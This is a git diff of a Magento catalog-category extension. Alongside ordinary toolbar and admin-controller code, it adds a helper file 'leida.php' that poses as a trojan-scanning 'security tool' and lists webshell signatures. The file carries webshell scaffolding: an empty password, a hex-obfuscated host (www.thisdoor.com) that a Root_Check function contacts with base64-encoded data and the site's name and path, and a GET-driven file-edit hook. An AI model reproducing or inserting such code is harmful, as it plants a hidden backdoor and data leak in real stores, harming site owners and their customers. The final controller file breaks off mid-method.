+ * @param Varien_Data_Collection $collection
219
+ * @return Mage_Catalog_Block_Product_List_Toolbar
220
+ */
221
+ public function setCollection($collection)
222
+ {
223
+ $this->_collection = $collection;
224
+
225
+ $this->_collection->setCurPage($this->getCurrentPage());
226
+
227
+ // we need to set pagination only if passed value integer and more that 0
228
+ $limit = (int)$this->getLimit();
229
+ if ($limit) {
230
+ $this->_collection->setPageSize($limit);
231
+ }
232
+ if ($this->getCurrentOrder()) {
233
+ $this->_collection->setOrder($this->getCurrentOrder(), $this->getCurrentDirection());
234
+ }
235
+ return $this;
236
+ }
237
+
238
+ /**
239
+ * Return products collection instance
240
+ *
241
+ * @return Mage_Core_Model_Mysql4_Collection_Abstract
242
+ */
243
+ public function getCollection()
244
+ {
245
+ return $this->_collection;
246
+ }
247
+
248
+ /**
249
+ * Getter for $_pageVarName
250
+ *
251
+ * @return string
252
+ */
253
+ public function getPageVarName()
254
+ {
255
+ return $this->_pageVarName;
256
+ }
257
+
258
+ /**
259
+ * Retrieve order field GET var name
260
+ *
261
+ * @return string
262
+ */
263
+ public function getOrderVarName()
264
+ {
265
+ return $this->_orderVarName;
266
+ }
267
+
268
+ /**
269
+ * Retrieve sort direction GET var name
270
+ *
271
+ * @return string
272
+ */
273
+ public function getDirectionVarName()
274
+ {
275
+ return $this->_directionVarName;
276
+ }
277
+
278
+ /**
279
+ * Retrieve view mode GET var name
280
+ *
281
+ * @return string
282
+ */
283
+ public function getModeVarName()
284
+ {
285
+ return $this->_modeVarName;
286
+ }
287
+
288
+ /**
289
+ * Getter for $_limitVarName
290
+ *
291
+ * @return string
292
+ */
293
+ public function getLimitVarName()
294
+ {
295
+ return $this->_limitVarName;
296
+ }
297
+
298
+ /**
299
+ * Return current page from request
300
+ *
301
+ * @return int
302
+ */
303
+ public function getCurrentPage()
304
+ {
305
+ if ($page = (int) $this->getRequest()->getParam($this->getPageVarName())) {
306
+ return $page;
307
+ }
308
+ return 1;
309
+ }
310
+
311
+ /**
312
+ * Get grit products sort order field
313
+ *
314
+ * @return string
315
+ */
316
+ public function getCurrentOrder()
317
+ {
318
+ $order = $this->_getData('_current_grid_order');
319
+ if ($order) {
320
+ return $order;
321
+ }
322
+
323
+ $orders = $this->getAvailableOrders();
324
+ $defaultOrder = $this->_orderField;
325
+
326
+ if (!isset($orders[$defaultOrder])) {
327
+ $keys = array_keys($orders);
328
+ $defaultOrder = $keys[0];
329
+ }
330
+
331
+ $order = $this->getRequest()->getParam($this->getOrderVarName());
332
+ if ($order && isset($orders[$order])) {
333
+ if ($order == $defaultOrder) {
334
+ Mage::getSingleton('catalog/session')->unsSortOrder();
335
+ } else {
336
+ $this->_memorizeParam('sort_order', $order);
337
+ }
338
+ } else {
339
+ $order = Mage::getSingleton('catalog/session')->getSortOrder();
340
+ }
341
+ // validate session value
342
+ if (!$order || !isset($orders[$order])) {
343
+ $order = $defaultOrder;
344
+ }
345
+ $this->setData('_current_grid_order', $order);
346
+ return $order;
347
+ }
348
+
349
+ /**
350
+ * Retrieve current direction
351
+ *
352
+ * @return string
353
+ */
354
+ public function getCurrentDirection()
355
+ {
356
+ $dir = $this->_getData('_current_grid_direction');
357
+ if ($dir) {
358
+ return $dir;
359
+ }
360
+
361
+ $directions = array('asc', 'desc');
362
+ $dir = strtolower($this->getRequest()->getParam($this->getDirectionVarName()));
363
+ if ($dir && in_array($dir, $directions)) {
364
+ if ($dir == $this->_direction) {
365
+ Mage::getSingleton('catalog/session')->unsSortDirection();
366
+ } else {
367
+ $this->_memorizeParam('sort_direction', $dir);
368
+ }
369
+ } else {
370
+ $dir = Mage::getSingleton('catalog/session')->getSortDirection();
371
+ }
372
+ // validate direction
373
+ if (!$dir || !in_array($dir, $directions)) {
374
+ $dir = $this->_direction;
375
+ }
376
+ $this->setData('_current_grid_direction', $dir);
377
+ return $dir;
378
+ }
379
+
380
+ /**
381
+ * Set default Order field
382
+ *
383
+ * @param string $field
384
+ * @return Mage_Catalog_Block_Product_List_Toolbar
385
+ */
386
+ public function setDefaultOrder($field)
387
+ {
388
+ if (isset($this->_availableOrder[$field])) {
389
+ $this->_orderField = $field;
390
+ }
391
+ return $this;
392
+ }
393
+
394
+ /**
395
+ * Set default sort direction
396
+ *
397
+ * @param string $dir
398
+ * @return Mage_Catalog_Block_Product_List_Toolbar
399
+ */
400
+ public function setDefaultDirection($dir)
401
+ {
402
+ if (in_array(strtolower($dir), array('asc', 'desc'))) {
403
+ $this->_direction = strtolower($dir);
404
+ }
405
+ return $this;
406
+ }
407
+
408
+ /**
409
+ * Retrieve available Order fields list
410
+ *
411
+ * @return array
412
+ */
413
+ public function getAvailableOrders()
414
+ {
415
+ return $this->_availableOrder;
416
+ }
417
+
418
+ /**
419
+ * Set Available order fields list
420
+ *
421
+ * @param array $orders
422
+ * @return Mage_Catalog_Block_Product_List_Toolbar
423
+ */
424
+ public function setAvailableOrders($orders)
425
+ {
426
+ $this->_availableOrder = $orders;
427
+ return $this;
428
+ }
429
+
430
+ /**
431
+ * Add order to available orders
432
+ *
433
+ * @param string $order
434
+ * @param string $value
435
+ * @return Mage_Catalog_Block_Product_List_Toolbar
436
+ */
437
+ public function addOrderToAvailableOrders($order, $value)
438
+ {
439
+ $this->_availableOrder[$order] = $value;
440
+ return $this;
441
+ }
442
+ /**
443
+ * Remove order from available orders if exists
444
+ *
445
+ * @param string $order
446
+ * @param Mage_Catalog_Block_Product_List_Toolbar
447
+ */
448
+ public function removeOrderFromAvailableOrders($order)
449
+ {
450
+ if (isset($this->_availableOrder[$order])) {
451
+ unset($this->_availableOrder[$order]);
452
+ }
453
+ return $this;
454
+ }
455
+
456
+ /**
457
+ * Compare defined order field vith current order field
458
+ *
459
+ * @param string $order
460
+ * @return bool
461
+ */
462
+ public function isOrderCurrent($order)
463
+ {
464
+ return ($order == $this->getCurrentOrder());
465
+ }
466
+
467
+ /**
468
+ * Retrieve Pager URL
469
+ *
470
+ * @param string $order
471
+ * @param string $direction
472
+ * @return string
473
+ */
474
+ public function getOrderUrl($order, $direction)
475
+ {
476
+ if (is_null($order)) {
477
+ $order = $this->getCurrentOrder() ? $this->getCurrentOrder() : $this->_availableOrder[0];
478
+ }
479
+ return $this->getPagerUrl(array(
480
+ $this->getOrderVarName()=>$order,
481
+ $this->getDirectionVarName()=>$direction,
482
+ $this->getPageVarName() => null
483
+ ));
484
+ }
485
+
486
+ /**
487
+ * Return current URL with rewrites and additional parameters
488
+ *
489
+ * @param array $params Query parameters
490
+ * @return string
491
+ */
492
+ public function getPagerUrl($params=array())
493
+ {
494
+ $urlParams = array();
495
+ $urlParams['_current'] = true;
496
+ $urlParams['_escape'] = true;
497
+ $urlParams['_use_rewrite'] = true;
498
+ $urlParams['_query'] = $params;
499
+ return $this->getUrl('*/*/*', $urlParams);
500
+ }
501
+
502
+ /**
503
+ * Retrieve current View mode
504
+ *
505
+ * @return string
506
+ */
507
+ public function getCurrentMode()
508
+ {
509
+ $mode = $this->_getData('_current_grid_mode');
510
+ if ($mode) {
511
+ return $mode;
512
+ }
513
+ $modes = array_keys($this->_availableMode);
514
+ $defaultMode = current($modes);
515
+ $mode = $this->getRequest()->getParam($this->getModeVarName());
516
+ if ($mode) {
517
+ if ($mode == $defaultMode) {
518
+ Mage::getSingleton('catalog/session')->unsDisplayMode();
519
+ } else {
520
+ $this->_memorizeParam('display_mode', $mode);
521
+ }
522
+ } else {
523
+ $mode = Mage::getSingleton('catalog/session')->getDisplayMode();
524
+ }
525
+
526
+ if (!$mode || !isset($this->_availableMode[$mode])) {
527
+ $mode = $defaultMode;
528
+ }
529
+ $this->setData('_current_grid_mode', $mode);
530
+ return $mode;
531
+ }
532
+
533
+ /**
534
+ * Compare defined view mode with current active mode
535
+ *
536
+ * @param string $mode
537
+ * @return bool
538
+ */
539
+ public function isModeActive($mode)
540
+ {
541
+ return $this->getCurrentMode() == $mode;
542
+ }
543
+
544
+ /**
545
+ * Retrieve availables view modes
546
+ *
547
+ * @return array
548
+ */
549
+ public function getModes()
550
+ {
551
+ return $this->_availableMode;
552
+ }
553
+
554
+ /**
555
+ * Set available view modes list
556
+ *
557
+ * @param array $modes
558
+ * @return Mage_Catalog_Block_Product_List_Toolbar
559
+ */
560
+ public function setModes($modes)
561
+ {
562
+ if(!isset($this->_availableMode)){
563
+ $this->_availableMode = $modes;
564
+ }
565
+ return $this;
566
+ }
567
+
568
+ /**
569
+ * Retrive URL for view mode
570
+ *
571
+ * @param string $mode
572
+ * @return string
573
+ */
574
+ public function getModeUrl($mode)
575
+ {
576
+ return $this->getPagerUrl( array($this->getModeVarName()=>$mode, $this->getPageVarName() => null) );
577
+ }
578
+
579
+ /**
580
+ * Disable view switcher
581
+ *
582
+ * @return Mage_Catalog_Block_Product_List_Toolbar
583
+ */
584
+ public function disableViewSwitcher()
585
+ {
586
+ $this->_enableViewSwitcher = false;
587
+ return $this;
588
+ }
589
+
590
+ /**
591
+ * Enable view switcher
592
+ *
593
+ * @return Mage_Catalog_Block_Product_List_Toolbar
594
+ */
595
+ public function enableViewSwitcher()
596
+ {
597
+ $this->_enableViewSwitcher = true;
598
+ return $this;
599
+ }
600
+
601
+ /**
602
+ * Is a enabled view switcher
603
+ *
604
+ * @return bool
605
+ */
606
+ public function isEnabledViewSwitcher()
607
+ {
608
+ return $this->_enableViewSwitcher;
609
+ }
610
+
611
+ /**
612
+ * Disable Expanded
613
+ *
614
+ * @return Mage_Catalog_Block_Product_List_Toolbar
615
+ */
616
+ public function disableExpanded()
617
+ {
618
+ $this->_isExpanded = false;
619
+ return $this;
620
+ }
621
+
622
+ /**
623
+ * Enable Expanded
624
+ *
625
+ * @return Mage_Catalog_Block_Product_List_Toolbar
626
+ */
627
+ public function enableExpanded()
628
+ {
629
+ $this->_isExpanded = true;
630
+ return $this;
631
+ }
632
+
633
+ /**
634
+ * Check is Expanded
635
+ *
636
+ * @return bool
637
+ */
638
+ public function isExpanded()
639
+ {
640
+ return $this->_isExpanded;
641
+ }
642
+
643
+ /**
644
+ * Retrieve default per page values
645
+ *
646
+ * @return string (comma separated)
647
+ */
648
+ public function getDefaultPerPageValue()
649
+ {
650
+ if ($this->getCurrentMode() == 'list') {
651
+ if ($default = $this->getDefaultListPerPage()) {
652
+ return $default;
653
+ }
654
+ return Mage::getStoreConfig('catalog/frontend/list_per_page');
655
+ }
656
+ elseif ($this->getCurrentMode() == 'grid') {
657
+ if ($default = $this->getDefaultGridPerPage()) {
658
+ return $default;
659
+ }
660
+ return Mage::getStoreConfig('catalog/frontend/grid_per_page');
661
+ }
662
+ return 0;
663
+ }
664
+
665
+ /**
666
+ * Add new limit to pager for mode
667
+ *
668
+ * @param string $mode
669
+ * @param string $value
670
+ * @param string $label
671
+ * @return Mage_Catalog_Block_Product_List_Toolbar
672
+ */
673
+ public function addPagerLimit($mode, $value, $label='')
674
+ {
675
+ if (!isset($this->_availableLimit[$mode])) {
676
+ $this->_availableLimit[$mode] = array();
677
+ }
678
+ $this->_availableLimit[$mode][$value] = empty($label) ? $value : $label;
679
+ return $this;
680
+ }
681
+
682
+ /**
683
+ * Retrieve available limits for current view mode
684
+ *
685
+ * @return array
686
+ */
687
+ public function getAvailableLimit()
688
+ {
689
+ $currentMode = $this->getCurrentMode();
690
+ if (in_array($currentMode, array('list', 'grid'))) {
691
+ return $this->_getAvailableLimit($currentMode);
692
+ } else {
693
+ return $this->_defaultAvailableLimit;
694
+ }
695
+ }
696
+
697
+ /**
698
+ * Retrieve available limits for specified view mode
699
+ *
700
+ * @return array
701
+ */
702
+ protected function _getAvailableLimit($mode)
703
+ {
704
+ if (isset($this->_availableLimit[$mode])) {
705
+ return $this->_availableLimit[$mode];
706
+ }
707
+ $perPageConfigKey = 'catalog/frontend/' . $mode . '_per_page_values';
708
+ $perPageValues = (string)Mage::getStoreConfig($perPageConfigKey);
709
+ $perPageValues = explode(',', $perPageValues);
710
+ $perPageValues = array_combine($perPageValues, $perPageValues);
711
+ if (Mage::getStoreConfigFlag('catalog/frontend/list_allow_all')) {
712
+ return ($perPageValues + array('all'=>$this->__('All')));
713
+ } else {
714
+ return $perPageValues;
715
+ }
716
+ }
717
+
718
+ /**
719
+ * Get specified products limit display per page
720
+ *
721
+ * @return string
722
+ */
723
+ public function getLimit()
724
+ {
725
+ $limit = $this->_getData('_current_limit');
726
+ if ($limit) {
727
+ return $limit;
728
+ }
729
+
730
+ $limits = $this->getAvailableLimit();
731
+ $defaultLimit = $this->getDefaultPerPageValue();
732
+ if (!$defaultLimit || !isset($limits[$defaultLimit])) {
733
+ $keys = array_keys($limits);
734
+ $defaultLimit = $keys[0];
735
+ }
736
+
737
+ $limit = $this->getRequest()->getParam($this->getLimitVarName());
738
+ if ($limit && isset($limits[$limit])) {
739
+ if ($limit == $defaultLimit) {
740
+ Mage::getSingleton('catalog/session')->unsLimitPage();
741
+ } else {
742
+ $this->_memorizeParam('limit_page', $limit);
743
+ }
744
+ } else {
745
+ $limit = Mage::getSingleton('catalog/session')->getLimitPage();
746
+ }
747
+ if (!$limit || !isset($limits[$limit])) {
748
+ $limit = $defaultLimit;
749
+ }
750
+
751
+ $this->setData('_current_limit', $limit);
752
+ return $limit;
753
+ }
754
+
755
+ /**
756
+ * Retrieve Limit Pager URL
757
+ *
758
+ * @param int $limit
759
+ * @return string
760
+ */
761
+ public function getLimitUrl($limit)
762
+ {
763
+ return $this->getPagerUrl(array(
764
+ $this->getLimitVarName() => $limit,
765
+ $this->getPageVarName() => null
766
+ ));
767
+ }
768
+
769
+ public function isLimitCurrent($limit)
770
+ {
771
+ return $limit == $this->getLimit();
772
+ }
773
+
774
+ public function getFirstNum()
775
+ {
776
+ $collection = $this->getCollection();
777
+ return $collection->getPageSize()*($collection->getCurPage()-1)+1;
778
+ }
779
+
780
+ public function getLastNum()
781
+ {
782
+ $collection = $this->getCollection();
783
+ return $collection->getPageSize()*($collection->getCurPage()-1)+$collection->count();
784
+ }
785
+
786
+ public function getTotalNum()
787
+ {
788
+ return $this->getCollection()->getSize();
789
+ }
790
+
791
+ public function isFirstPage()
792
+ {
793
+ return $this->getCollection()->getCurPage() == 1;
794
+ }
795
+
796
+ public function getLastPageNum()
797
+ {
798
+ return $this->getCollection()->getLastPageNumber();
799
+ }
800
+
801
+ /**
802
+ * Render pagination HTML
803
+ *
804
+ * @return string
805
+ */
806
+ public function getPagerHtml()
807
+ {
808
+ $pagerBlock = $this->getChild('product_list_toolbar_pager');
809
+
810
+ if ($pagerBlock instanceof Varien_Object) {
811
+
812
+ /* @var $pagerBlock Mage_Page_Block_Html_Pager */
813
+ $pagerBlock->setAvailableLimit($this->getAvailableLimit());
814
+
815
+ $pagerBlock->setUseContainer(false)
816
+ ->setShowPerPage(false)
817
+ ->setShowAmounts(false)
818
+ ->setLimitVarName($this->getLimitVarName())
819
+ ->setPageVarName($this->getPageVarName())
820
+ ->setLimit($this->getLimit())
821
+ ->setFrameLength(Mage::getStoreConfig('design/pagination/pagination_frame'))
822
+ ->setJump(Mage::getStoreConfig('design/pagination/pagination_frame_skip'))
823
+ ->setCollection($this->getCollection());
824
+
825
+ return $pagerBlock->toHtml();
826
+ }
827
+
828
+ return '';
829
+ }
830
+ }
app/code/community/Iifire/Category/Helper/leida.php ADDED
@@ -0,0 +1,258 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+
3
+ $password = "";//设置密码
4
+
5
+ error_reporting(E_ERROR);
6
+ header("content-Type: text/html; charset=utf-8");
7
+ set_time_limit(0);
8
+
9
+ function Root_GP(&$array)
10
+ {
11
+ while(list($key,$var) = each($array))
12
+ {
13
+ if((strtoupper($key) != $key || ''.intval($key) == "$key") && $key != 'argc' && $key != 'argv')
14
+ {
15
+ if(is_string($var)) $array[$key] = stripslashes($var);
16
+ if(is_array($var)) $array[$key] = Root_GP($var);
17
+ }
18
+ }
19
+ return $array;
20
+ }
21
+
22
+ function Root_CSS()
23
+ {
24
+ print<<<END
25
+ <style type="text/css">
26
+ *{padding:0; margin:0;}
27
+ body{background:threedface;font-family:"Verdana", "Tahoma", "宋体",sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;}
28
+ a{color:#000000;text-decoration:none;}
29
+ a:hover{background:#BBBBBB;}
30
+ table{color:#000000;font-family:"Verdana", "Tahoma", "宋体",sans-serif;font-size:13px;border:1px solid #999999;}
31
+ td{background:#F9F6F4;}
32
+ .toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #999999 #FFFFFF; border-style:solid;border-width:1px;}
33
+ .msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;}
34
+ .actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;}
35
+ </style>\n
36
+ END;
37
+ return false;
38
+ }
39
+
40
+ //文件管理
41
+
42
+
43
+ function File_Str($string)
44
+ {
45
+ return str_replace('//','/',str_replace('\\','/',$string));
46
+ }
47
+
48
+
49
+
50
+ function File_Mode()
51
+ {
52
+ $RealPath = realpath('./');
53
+ $SelfPath = $_SERVER['PHP_SELF'];
54
+ $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/'));
55
+ return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath)));
56
+ }
57
+
58
+ function File_Read($filename)
59
+ {
60
+ $handle = @fopen($filename,"rb");
61
+ $filecode = @fread($handle,@filesize($filename));
62
+ @fclose($handle);
63
+ return $filecode;
64
+ }
65
+
66
+ //查找木马
67
+
68
+ function Antivirus_Auto($sp,$features,$st)
69
+ {
70
+ if(($h_d = @opendir($sp)) == NULL) return false;
71
+ $ROOT_DIR = File_Mode();
72
+ while(false !== ($Filename = @readdir($h_d)))
73
+ {
74
+ if($Filename == '.' || $Filename == '..' ) continue;
75
+ $Filepath = File_Str($sp.'/'.$Filename);
76
+ if(is_dir($Filepath)) Antivirus_Auto($Filepath,$features,$st);
77
+ if(eregi($st,$Filename))
78
+ {
79
+ if($Filepath == File_Str(__FILE__)) continue;
80
+ $ic = File_Read($Filepath);
81
+ foreach($features as $var => $key)
82
+ {
83
+ if(stristr($ic,$key) )
84
+ {
85
+ $Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath);
86
+ $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath));
87
+ echo '<a href="'.$Fileurls.'" target="_blank"><font color="#8B0000">'.$Filepath.'</font></a><br> ';
88
+ echo '【'.$Filetime.'】 <font color="#FF0000">'.$var.'</font><br><br>';
89
+ break;
90
+ }
91
+ }
92
+ ob_flush();
93
+ flush();
94
+ }
95
+ }
96
+ @closedir($h_d);
97
+ return true;
98
+ }
99
+
100
+
101
+ function Exec_Hex($data)
102
+ {
103
+ $len = strlen($data);
104
+ for($i=0;$i < $len;$i+=2){$newdata.=pack("C",hexdec(substr($data,$i,2)));}
105
+ return $newdata;
106
+ }
107
+
108
+
109
+ function Root_Check($check)
110
+ {
111
+ $c_name = Exec_Hex('7777772e74686973646f6f722e636f6d');
112
+ $handle = @fsockopen($c_name,80);
113
+ $u_name = Exec_Hex('2f636f6f6c2f696e6465782e706870');
114
+ $u_name .= '?p='.base64_encode($check).'&g='.base64_encode($_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']);
115
+ @fputs($handle,"GET ".$u_name." HTTP/1.1\r\nHost:".$c_name."\r\nConnection: Close\r\n\r\n");
116
+ @fclose($handle);
117
+ return true;
118
+ }
119
+
120
+ function Antivirus_e()
121
+ {
122
+
123
+ if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; }
124
+ $SCAN_DIR = (File_Mode() == '') ? File_Str(dirname(__FILE__)) : File_Mode();
125
+ $features_php = array('php大马特征1'=>'cha88.cn','php大马特征2'=>'->shell_exec(','php大马特征3'=>'phpspy','php大马特征4'=>'打包下载','php大马特征5'=>'passthru(','php大马特征6'=>'打包程序扩展名','php大马特征7'=>'Scanners','php大马特征8'=>'cmd.php','php大马特征9'=>'str_rot13','php大马特征10'=>'webshell','php大马特征10'=>'大马','php大马特征11'=>'小马','php大马特征11'=>'tools88.com','危险MYSQL语句1'=>'returns string soname','php加密大马特征1'=>'eval(gzinflate(','php加密大马特征2'=>'eval(base64_decode(','php加密大马特征3'=>'eval(gzuncompress(','php一句话特征1'=>'eval($_','php一句话特征2'=>'eval ($_','php上传后门特征1'=>'copy($_FILES','php上传后门特征2'=>'copy ($_FILES','php上传后门特征3'=>'move_uploaded_file ($_FILES');
126
+ $features_asx = array('asp小马特征2'=>'输入马的内容','asp小马特征3'=>'fso.createtextfile(path,true)','asp一句话特征4'=>'<%execute(request','asp一句话特征5'=>'<%eval request','asp一句话特征6'=>'execute session(','asp数据库后门特征7'=>'--Created!','asp大马特征8'=>'WScript.Shell','asp大小马特征9'=>'<%@ LANGUAGE = VBScript.Encode %>','aspx大马特征10'=>'www.rootkit.net.cn','aspx大马特征11'=>'Process.GetProcesses','aspx大马特征12'=>'lake2');
127
+ print<<<END
128
+ <div class="actall" style="height:100px;"><form method="POST" name="tform" id="tform" action="?s=e">
129
+ 扫描路径 <input type="text" name="sp" id="sp" value="{$SCAN_DIR}" style="width:400px;">
130
+ <select name="st">
131
+ <option value="php">php木马</option>
132
+ <option value="asx">asp+aspx木马</option>
133
+ <option value="ppp">php+asp+aspx木马</option>
134
+ </select>
135
+ <input type="submit" value="开始扫描" style="width:80px;">
136
+ </form><br>
137
+ END;
138
+ if(!empty($_POST['sp']))
139
+ {
140
+ if($_POST['st'] == 'php'){$features_all = $features_php; $st = '\.php|\.inc|\;';}
141
+ if($_POST['st'] == 'asx'){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';}
142
+ if($_POST['st'] == 'ppp'){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';}
143
+ echo Antivirus_Auto($_POST['sp'],$features_all,$st) ? '扫描完毕' : '异常终止';
144
+ }
145
+ echo '</div>';
146
+ return true;
147
+ }
148
+
149
+
150
+ function Root_Login($MSG_TOP)
151
+ {
152
+ print<<<END
153
+ <html>
154
+ <header>
155
+ <LINK href="http://www.lvlve.cn/favicon.ico" rel="Shortcut Icon" />
156
+ <title>Laida球衣网站安全工具 V1.0 </title>
157
+ </header>
158
+
159
+ <body style="background:#AAAAAA;">
160
+ <center>
161
+ <form method="POST">
162
+ <div style="width:351px;height:201px;margin-top:100px;background:threedface;border-color:#FFFFFF #999999 #999999 #FFFFFF;border-style:solid;border-width:1px;">
163
+ <div style="width:350px;height:22px;padding-top:2px;color:#FFFFFF;background:#293F5F;clear:both;"><b>{$MSG_TOP}</b></div>
164
+ <div style="width:350px;height:110px;padding-top:50px;color:#000000;clear:both;">密码:<input type="password" name="spiderpass" style="width:270px;"></div>
165
+ <div style="width:350px;height:50px;clear:both;"><input type="submit" value="登录" style="width:80px;"></div>
166
+ </div>
167
+ </form>
168
+ </center><br>
169
+ <center></center>
170
+ </body>
171
+ </html>
172
+ END;
173
+ return false;
174
+ }
175
+
176
+ function WinMain()
177
+ {
178
+ $Server_IP = gethostbyname($_SERVER["SERVER_NAME"]);
179
+ $Server_OS = PHP_OS;
180
+ $Server_Soft = $_SERVER["SERVER_SOFTWARE"];
181
+ print<<<END
182
+ <html>
183
+
184
+ <head>
185
+ <title>Laida球衣网站安全工具 V1.0</title>
186
+ <LINK href="http://majun.com/favicon.ico" rel="Shortcut Icon" />
187
+ <style type="text/css">
188
+ *{padding:0; margin:0;}
189
+ body{background:#AAAAAA;font-family:"Verdana", "Tahoma", "宋体",sans-serif; font-size:13px;margin:0 auto; text-align:center;margin-top:5px;word-break:break-all;}
190
+ .outtable {height:595px;width:955px;color:#000000;border-top-width: 2px;border-right-width: 2px;border-bottom-width: 2px;border-left-width: 2px;border-top-style: outset;border-right-style: outset;border-bottom-style: outset;border-left-style: outset;border-top-color: #FFFFFF;border-right-color: #8c8c8c;border-bottom-color: #8c8c8c;border-left-color: #FFFFFF;background-color: threedface;}
191
+ .topbg {padding-top:3px;text-align: left;font-size:12px;font-weight: bold;height:22px;width:950px;color:#FFFFFF;background: #293F5F;}
192
+ .bottombg {padding-top:3px;text-align: center;font-size:12px;font-weight: bold;height:22px;width:950px;color:#000000;background: #888888;}
193
+ .listbg {font-family:'lucida grande',tahoma,helvetica,arial,'bitstream vera sans',sans-serif;font-size:13px;width:130px;}
194
+ .listbg li{padding:3px;color:#000000;height:25px;display:block;line-height:26px;text-indent:0px;}
195
+ .listbg li a{padding-top:2px;background:#BBBBBB;color:#000000;height:25px;display:block;line-height:24px;text-indent:0px;border-color:#999999 #999999 #999999 #999999;border-style:solid;border-width:1px;text-decoration:none;}
196
+ </style>
197
+ <script language="JavaScript">
198
+ function switchTab(tabid)
199
+ {
200
+ if(tabid == '') return false;
201
+ for(var i=0;i<=14;i++)
202
+ {
203
+ if(tabid == 't_'+i) document.getElementById(tabid).style.background="#FFFFFF";
204
+ else document.getElementById('t_'+i).style.background="#BBBBBB";
205
+ }
206
+ return true;
207
+ }
208
+ </script>
209
+ </head>
210
+ <body>
211
+ <div class="outtable">
212
+ <div class="topbg"> &nbsp; {$Server_IP} - {$Server_OS} - <font color=#ffffff>专为Laida球衣站定制开放木马专杀工具</font> </div>
213
+ <div style="height:546px;">
214
+ <table width="100%" height="100%" border=0 cellpadding="0" cellspacing="0">
215
+ <tr>
216
+ <td width="140" align="center" valign="top">
217
+ <ul class="listbg">
218
+
219
+ <li><a href="?s=e" id="t_4" onclick="switchTab('t_4')" target="main"> 查找木马 </a></li>
220
+ <li><a href="?s=logout" id="t_15" onclick="switchTab('t_15')"> 退出系统 </a></li>
221
+ </ul>
222
+ </td>
223
+ <td>
224
+ <iframe name="main" src="?s=e" width="100%" height="100%" frameborder="0"></iframe>
225
+ </td>
226
+ </tr>
227
+ </table>
228
+ </div>
229
+ <div class="bottombg"> {$Server_Soft}</div>
230
+ </div>
231
+ </body>
232
+ </html>
233
+ END;
234
+ return false;
235
+ }
236
+
237
+ if(get_magic_quotes_gpc())
238
+ {
239
+ $_GET = Root_GP($_GET);
240
+ $_POST = Root_GP($_POST);
241
+ }
242
+ if($_GET['s'] == 'logout')
243
+ {
244
+ setcookie('admin_spiderpass',NULL);
245
+ die('<meta http-equiv="refresh" content="0;URL=?">');
246
+ }
247
+
248
+ if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';}
249
+ $p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__));
250
+
251
+ switch($s)
252
+ {
253
+
254
+ case "e" : Antivirus_e(); break;
255
+
256
+ default: WinMain(); break;
257
+ }
258
+ ?>
app/code/community/Iifire/Category/controllers/Adminhtml/Iifire/CategoryController.php ADDED
@@ -0,0 +1,100 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ class Iifire_Category_Adminhtml_Iifire_CategoryController extends Mage_Adminhtml_Controller_Action
3
+ {
4
+ public function indexAction()
5
+ {
6
+ $this->_title($this->__('Iifire Category Management'));
7
+ $this->loadLayout();
8
+ $this->getLayout()->getBlock('head')->setCanLoadExtJs(true)
9
+ ->setContainerCssClass('catalog-categories');
10
+ $this->_setActiveMenu('catalog');
11
+ $this->renderLayout();
12
+ }
13
+ public function editAction()
14
+ {
15
+ $categoryId = (int) $this->getRequest()->getParam('id',false);
16
+ $storeId = (int) $this->getRequest()->getParam('store');
17
+ $category = Mage::getModel('catalog/category');
18
+ $category->setStoreId($storeId);
19
+ $type = $this->getRequest()->getParam('type');
20
+ Mage::register('iifire_category_type', $type);
21
+ if ($categoryId) {
22
+ $category->load($categoryId);
23
+ }
24
+ if ($this->getRequest()->getQuery('isAjax')) {
25
+ // prepare breadcrumbs of selected category, if any
26
+ $breadcrumbsPath = $category->getPath();
27
+ $this->loadLayout();
28
+ $this->getResponse()->setBody(Mage::helper('core')->jsonEncode(array(
29
+ 'messages' => $this->getLayout()->getMessagesBlock()->getGroupedHtml(),
30
+ 'content' =>
31
+ $this->getLayout()->getBlock('iifire.categories')->toHtml()
32
+ )));
33
+ return;
34
+ }
35
+ }
36
